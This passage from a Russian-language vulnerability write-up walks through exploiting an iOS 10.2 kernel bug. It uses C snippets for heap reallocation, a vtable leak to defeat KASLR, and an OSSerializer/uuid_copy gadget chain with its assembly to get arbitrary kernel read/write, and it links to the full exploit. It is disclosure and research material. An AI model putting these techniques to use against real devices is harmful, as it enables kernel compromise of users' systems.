 send_prealloc_msg(first_port, valid_header, 8);

 // free second and get it reallocated as a userclient:
 mach_port_deallocate(mach_task_self(), second_port);
 mach_port_destroy(mach_task_self(), second_port);

 mach_port_t uc = alloc_userclient();

 // read back the start of the userclient buffer:
 buf = receive_prealloc_msg(first_port);

 // save a copy of the original object:
 memcpy(legit_object, buf, sizeof(legit_object));

 // this is the vtable for AGXCommandQueue
 uint64_t vtable = buf[0];
Метод alloc_userclient размещает пользовательский клиент типа 5, принадлежащего классу AGXAccelerator IOService, который представляет собой объект AGXCommandQueue. В операторе new IOKit-клиента по умолчанию используется функция kalloc, а объект занимает размер 0xdb8.  Таким образом, будет использоваться зона kalloc.4096 и повторно использоваться только что освобожденная память, где раньше находилась структура ipc_kmsg второго порта.
Обратите внимание, что мы отослали сообщение с корректным заголовком на первый порт, который перезаписал заголовок второго порта. Подобное необходимо для того, чтобы после освобождения порта и повторного использования памяти для пользовательского клиента, мы могли вывести сообщение из очереди первого порта и обратно считать первые 240 байт объекта AGXCommandQueue. Первые 8 байт (qword) представляют собой указатель на таблицу vtable объекта AGXCommandQueue, используя которую мы можем определить KASLR-слайд (Kernel address space layout randomization; Рандомизация размещения адресного пространства ядра) и найти адрес метода OSSerializer::serialize.
Вызывая любой MIG-метод фреймворка IOKit в пользовательском клиенте, представляющим собой объект, мы, по сути, делаем три виртуальных вызова. ::retain() будет вызываться из метода iokit_lookup_connect_port, который в свою очередь вызывается из метода intran, привязанного к порту пользовательского клиента. Этот метод также вызывает метод ::getMetaClass(). В самом конце MIG-оболочка вызывает метод iokit_remove_connect_reference, вызывающий метод ::release().
Поскольку все эти методы являются виртуальными и будут передавать указатель в качестве первого (скрытого) аргумента, мы сможем удовлетворить нужные требования и воспользоваться гаджетом OSSerializer::serialize. Рассмотрим подробнее, как работает эта схема.
class OSSerializer : public OSObject
{
 OSDeclareDefaultStructors(OSSerializer)

 void * target;
 void * ref;
 OSSerializerCallback callback;

 virtual bool serialize(OSSerialize * serializer) const;
};

bool OSSerializer::serialize( OSSerialize * s ) const
{
 return( (*callback)(target, ref, s) );
}

После изучения дизассемблированной версии метода OSSerializer::serialize, все проясняется еще больше:
; OSSerializer::serialize(OSSerializer *__hidden this, OSSerialize *)

MOV  X8, X1
LDP  X1, X3, [X0,#0x18] ; load X1 from [X0+0x18] and X3 from [X0+0x20]
LDR  X9, [X0,#0x10]     ; load X9 from [X0+0x10]
MOV  X0, X9
MOV  X2, X8
BR   X3                 ; call [X0+0x20] with X0=[X0+0x10] and X1=[X0+0x18]

Поскольку у нас есть доступ на чтение/запись первых 240 байтов клиента AGXCommandQueue, и мы знаем местонахождения клиента в памяти, то можем сделать перезапись на поддельный объект, который будет вызывать произвольный указатель функции с двумя управляемыми аргументами при помощи метода ::release.

Рисунок 7: Схема добавления в память поддельного объекта
Мы перенаправили указатель на vtable, чтобы указывать обратно на этот объект, и элементы vtable могли чередоваться с данными. Теперь нам нужен еще один примитив, который преобразует вызов функции с двумя управляемыми аргументами в произвольное чтение/запись в память.
Функции наподобие copyin и copyout – очевидные кандидаты, поскольку могут обрабатывать любые сложности, связанные с копированием через границы пользовательской части и ядра. Однако обе эти функции принимают три аргумента: источник, приемник и размер.
Поскольку мы уже умеем читать и писать поддельный объект из userspace, то можем просто скопировать значения в/из буфера ядра, а не копировать в/из userspace напрямую. То есть нам нужно поискать другие функции, наподобие memcpy. Однако memcpy, memmove и bcopy также принимают три аргумента, и нам нужна обертка вокруг одной из этих функций, в которой используется фиксированный размер.
По результатам поиска по перекрестным ссылкам находим функцию uuid_copy:
; uuid_copy(uuid_t dst, const uuid_t src)
MOV  W2, #0x10 ; size
B    _memmove
Эта функция представляет собой простую обертку вокруг функции memmove, которая всегда принимает фиксированный размер в 16 байт. Теперь интегрируем конечный примитив в гаджет сериализатора:

Рисунок 8: Финальная версия гаджета сериализатора
Для перехода от чтения к записи нужно поменять местами порядок аргументов, чтобы скопировать содержимое по произвольному адресу в поддельный объект из пользовательской части и затем получить исключения для чтения информации.
Вы можете загрузить мой эксплоит для iOS 10.2 в iPod 6G отсюда: https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4
Эта брешь была независимо обнаружена и использована Марко Грасси и qwertyoruiopz. В том эксплоите применяется другой подход, эксплуатирующий эту уязвимость, который также используется mach-порты.
Заключение
У каждого разработчика бывают ошибки, которые, в целом, являются неотъемлемой частью процесса разработки программного обеспечения (особенно, когда в дело вступает компилятор). Однако новый код ядра в устройствах серии 1B+ на базе XNU заслуживает особого внимания. На мой взгляд, эта уязвимость, в случае с компанией Apple, появилась из-за небрежности во время анализа кода. Надеюсь, все похожие бреши и опубликованные статьи будут учтены на будущее.
Еще более важным я считаю то, что эта уязвимость была бы найдена, если бы выполнялось тестирование кода. Кроме того, код полностью не работоспособен в случае, если размер более 256 байт. В MacOS подобные эксперименты привели к немедленной панике ядра. Подобное происходило потому, что в стандартах, скорее всего, не предусмотрены простейшие регрессионные тесты для таких важнейших участков кода.
К сожалению, ядро XNU – не единственное в этом списке, и подобные истории являются довольно распространенными. Например, компания LG использует ядро в ОС Android с новым системным вызовом с простейшей уязвимостью, связанной с отсутствием границ в функции strcpy, которая возникает во время выполнения обычных операций в браузере Chrome. Более того, новый системный вызов конфликтует с номером системного вызова для sys_seccomp. Эту функцию пытались добавить в Chrome с целью предотвращения эксплуатации подобного рода уязвимостей.

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться